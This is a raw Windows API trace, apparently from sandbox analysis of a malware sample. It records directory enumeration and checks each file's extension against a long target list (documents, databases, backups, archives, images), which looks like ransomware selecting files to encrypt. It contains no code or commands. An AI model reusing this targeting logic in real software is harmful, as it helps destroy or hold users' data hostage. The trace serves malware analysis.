	[0189.165] lstrlenW (lpString=".py") returned 3
	[0189.165] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0189.165] lstrlenW (lpString=".qt") returned 3
	[0189.165] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0189.165] lstrlenW (lpString=".r3d") returned 4
	[0189.165] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0189.165] lstrlenW (lpString=".raf") returned 4
	[0189.165] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0189.165] lstrlenW (lpString=".rar") returned 4
	[0189.165] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.165] lstrlenW (lpString=".raw") returned 4
	[0189.165] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1
	[0189.165] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xced4b5c5, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x12d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1
	[0189.165] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1
	[0189.165] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1
	[0189.166] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1
	[0189.166] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1
	[0189.166] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1
	[0189.166] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1
	[0189.166] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado60.tlb", cAlternateFileName="")) returned 1
	[0189.166] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xd005e363, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x58e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1
	[0189.166] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1
	[0189.167] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1
	[0189.167] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x438ed65e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x438ed65e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x438ed65e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador28.tlb", cAlternateFileName="")) returned 1
	[0189.167] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc5b43065, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x62e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1
	[0189.167] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c5ad98, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c5ad98, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c5ad98, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1
	[0189.167] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1
	[0189.167] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0
	[0189.167] FindClose (in: hFindFile=0x3fb2418 | out: hFindFile=0x3fb2418) returned 1
	[0189.167] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fc7080 | out: hHeap=0x750000) returned 1
	[0189.168] FindNextFileW (in: hFindFile=0x3fb2218, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x97b, dwReserved1=0xffffc97b, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1
	[0189.168] FindNextFileW (in: hFindFile=0x3fb2218, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x97b, dwReserved1=0xffffc97b, cFileName="en-US", cAlternateFileName="")) returned 1
	[0189.168] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fb2198
	[0189.168] FindNextFileW (in: hFindFile=0x3fb2198, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0189.168] FindNextFileW (in: hFindFile=0x3fb2198, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1
	[0189.168] lstrlenW (lpString="wab32res.dll.mui") returned 16
	[0189.168] lstrlenW (lpString=".1cd") returned 4
	[0189.471] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.471] lstrlenW (lpString=".3ds") returned 4
	[0189.471] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0189.471] lstrlenW (lpString=".3fr") returned 4
	[0189.471] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0189.471] lstrlenW (lpString=".3g2") returned 4
	[0189.471] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0189.471] lstrlenW (lpString=".3gp") returned 4
	[0189.471] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0189.471] lstrlenW (lpString=".7z") returned 3
	[0189.471] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.471] lstrlenW (lpString=".accda") returned 6
	[0189.471] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1
	[0189.471] lstrlenW (lpString=".accdb") returned 6
	[0189.471] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1
	[0189.471] lstrlenW (lpString=".accdc") returned 6
	[0189.471] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1
	[0189.471] lstrlenW (lpString=".accde") returned 6
	[0189.471] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1
	[0189.471] lstrlenW (lpString=".accdt") returned 6
	[0189.471] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1
	[0189.471] lstrlenW (lpString=".accdw") returned 6
	[0189.471] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1
	[0189.471] lstrlenW (lpString=".adb") returned 4
	[0189.471] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0189.471] lstrlenW (lpString=".adp") returned 4
	[0189.471] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0189.471] lstrlenW (lpString=".ai") returned 3
	[0189.472] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0189.472] lstrlenW (lpString=".ai3") returned 4
	[0189.472] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0189.472] lstrlenW (lpString=".ai4") returned 4
	[0189.472] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0189.472] lstrlenW (lpString=".ai5") returned 4
	[0189.472] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0189.472] lstrlenW (lpString=".ai6") returned 4
	[0189.472] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0189.472] lstrlenW (lpString=".ai7") returned 4
	[0189.472] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0189.472] lstrlenW (lpString=".ai8") returned 4
	[0189.472] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0189.472] lstrlenW (lpString=".anim") returned 5
	[0189.472] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1
	[0189.472] lstrlenW (lpString=".arw") returned 4
	[0189.472] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0189.472] lstrlenW (lpString=".as") returned 3
	[0189.472] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0189.472] lstrlenW (lpString=".asa") returned 4
	[0189.472] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0189.472] lstrlenW (lpString=".asc") returned 4
	[0189.472] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0189.472] lstrlenW (lpString=".ascx") returned 5
	[0189.472] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1
	[0189.472] lstrlenW (lpString=".asm") returned 4
	[0189.472] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0189.472] lstrlenW (lpString=".asmx") returned 5
	[0189.472] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1
	[0189.472] lstrlenW (lpString=".asp") returned 4
	[0189.472] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0189.472] lstrlenW (lpString=".aspx") returned 5
	[0189.472] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1
	[0189.472] lstrlenW (lpString=".asr") returned 4
	[0189.472] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0189.472] lstrlenW (lpString=".asx") returned 4
	[0189.473] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0189.473] lstrlenW (lpString=".avi") returned 4
	[0189.473] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0189.473] lstrlenW (lpString=".avs") returned 4
	[0189.473] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0189.473] lstrlenW (lpString=".backup") returned 7
	[0189.473] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1
	[0189.473] lstrlenW (lpString=".bak") returned 4
	[0189.473] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0189.473] lstrlenW (lpString=".bay") returned 4
	[0189.473] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0189.473] lstrlenW (lpString=".bd") returned 3
	[0189.473] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0189.473] lstrlenW (lpString=".bin") returned 4
	[0189.473] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0189.473] lstrlenW (lpString=".bmp") returned 4
	[0189.473] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0189.473] lstrlenW (lpString=".bz2") returned 4
	[0189.473] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.473] lstrlenW (lpString=".c") returned 2
	[0189.473] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0189.473] lstrlenW (lpString=".cdr") returned 4
	[0189.473] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0189.473] lstrlenW (lpString=".cer") returned 4
	[0189.473] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0189.473] lstrlenW (lpString=".cf") returned 3
	[0189.473] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0189.473] lstrlenW (lpString=".cfc") returned 4
	[0189.473] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0189.473] lstrlenW (lpString=".cfm") returned 4
	[0189.473] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0189.473] lstrlenW (lpString=".cfml") returned 5
	[0189.473] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1
	[0189.473] lstrlenW (lpString=".cfu") returned 4
	[0189.473] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0189.473] lstrlenW (lpString=".chm") returned 4
	[0189.474] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0189.474] lstrlenW (lpString=".cin") returned 4
	[0189.474] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0189.474] lstrlenW (lpString=".class") returned 6
	[0189.474] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1
	[0189.474] lstrlenW (lpString=".clx") returned 4
	[0189.474] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0189.474] lstrlenW (lpString=".config") returned 7
	[0189.474] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1
	[0189.474] lstrlenW (lpString=".cpp") returned 4
	[0189.474] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0189.474] lstrlenW (lpString=".cr2") returned 4
	[0189.474] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0189.474] lstrlenW (lpString=".crt") returned 4
	[0189.474] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0189.474] lstrlenW (lpString=".crw") returned 4
	[0189.474] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0189.474] lstrlenW (lpString=".cs") returned 3
	[0189.474] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0189.474] lstrlenW (lpString=".css") returned 4
	[0189.474] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0189.474] lstrlenW (lpString=".csv") returned 4
	[0189.474] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0189.474] lstrlenW (lpString=".cub") returned 4
	[0189.474] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0189.474] lstrlenW (lpString=".dae") returned 4
	[0189.474] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0189.474] lstrlenW (lpString=".dat") returned 4
	[0189.474] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0189.474] lstrlenW (lpString=".db") returned 3
	[0189.474] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0189.474] lstrlenW (lpString=".dbf") returned 4
	[0189.474] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.474] lstrlenW (lpString=".dbx") returned 4
	[0189.474] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0189.474] lstrlenW (lpString=".dc3") returned 4
	[0189.474] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0189.475] lstrlenW (lpString=".dcm") returned 4
	[0189.475] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0189.475] lstrlenW (lpString=".dcr") returned 4
	[0189.475] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0189.475] lstrlenW (lpString=".der") returned 4
	[0189.475] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0189.475] lstrlenW (lpString=".dib") returned 4
	[0189.475] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0189.475] lstrlenW (lpString=".dic") returned 4
	[0189.475] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0189.475] lstrlenW (lpString=".dif") returned 4
	[0189.475] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0189.475] lstrlenW (lpString=".divx") returned 5
	[0189.475] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1
	[0189.475] lstrlenW (lpString=".djvu") returned 5
	[0189.475] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1
	[0189.475] lstrlenW (lpString=".dng") returned 4
	[0189.475] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0189.475] lstrlenW (lpString=".doc") returned 4
	[0189.475] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.475] lstrlenW (lpString=".docm") returned 5
	[0189.475] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1
	[0189.475] lstrlenW (lpString=".docx") returned 5
	[0189.475] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.475] lstrlenW (lpString=".dot") returned 4
	[0189.475] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0189.475] lstrlenW (lpString=".dotm") returned 5
	[0189.475] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1
	[0189.475] lstrlenW (lpString=".dotx") returned 5
	[0189.475] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1
	[0189.475] lstrlenW (lpString=".dpx") returned 4
	[0189.475] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0189.475] lstrlenW (lpString=".dqy") returned 4
	[0189.475] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0189.475] lstrlenW (lpString=".dsn") returned 4
	[0189.475] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0189.475] lstrlenW (lpString=".dt") returned 3
	[0189.476] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0189.476] lstrlenW (lpString=".dtd") returned 4
	[0189.476] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0189.476] lstrlenW (lpString=".dwg") returned 4
	[0189.476] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0189.476] lstrlenW (lpString=".dwt") returned 4
	[0189.476] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0189.476] lstrlenW (lpString=".dx") returned 3
	[0189.476] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0189.476] lstrlenW (lpString=".dxf") returned 4
	[0189.476] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0189.476] lstrlenW (lpString=".edml") returned 5
	[0189.476] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1
	[0189.476] lstrlenW (lpString=".efd") returned 4
	[0189.476] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0189.476] lstrlenW (lpString=".elf") returned 4
	[0189.476] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0189.476] lstrlenW (lpString=".emf") returned 4
	[0189.476] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0189.476] lstrlenW (lpString=".emz") returned 4
	[0189.476] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0189.476] lstrlenW (lpString=".epf") returned 4
	[0189.476] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0189.476] lstrlenW (lpString=".eps") returned 4
	[0189.476] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0189.476] lstrlenW (lpString=".epsf") returned 5
	[0189.476] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1
	[0189.476] lstrlenW (lpString=".epsp") returned 5
	[0189.476] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1
	[0189.476] lstrlenW (lpString=".erf") returned 4
	[0189.476] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0189.476] lstrlenW (lpString=".exr") returned 4
	[0189.476] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0189.476] lstrlenW (lpString=".f4v") returned 4
	[0189.476] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0189.476] lstrlenW (lpString=".fido") returned 5
	[0189.477] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1
	[0189.477] lstrlenW (lpString=".flm") returned 4
	[0189.477] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0189.477] lstrlenW (lpString=".flv") returned 4
	[0189.477] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0189.477] lstrlenW (lpString=".frm") returned 4
	[0189.477] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0189.477] lstrlenW (lpString=".fxg") returned 4
	[0189.477] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0189.477] lstrlenW (lpString=".geo") returned 4
	[0189.477] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0189.477] lstrlenW (lpString=".gif") returned 4
	[0189.477] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0189.477] lstrlenW (lpString=".grs") returned 4
	[0189.477] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0189.477] lstrlenW (lpString=".gz") returned 3
	[0189.477] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0189.477] lstrlenW (lpString=".h") returned 2
	[0189.477] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0189.477] lstrlenW (lpString=".hdr") returned 4
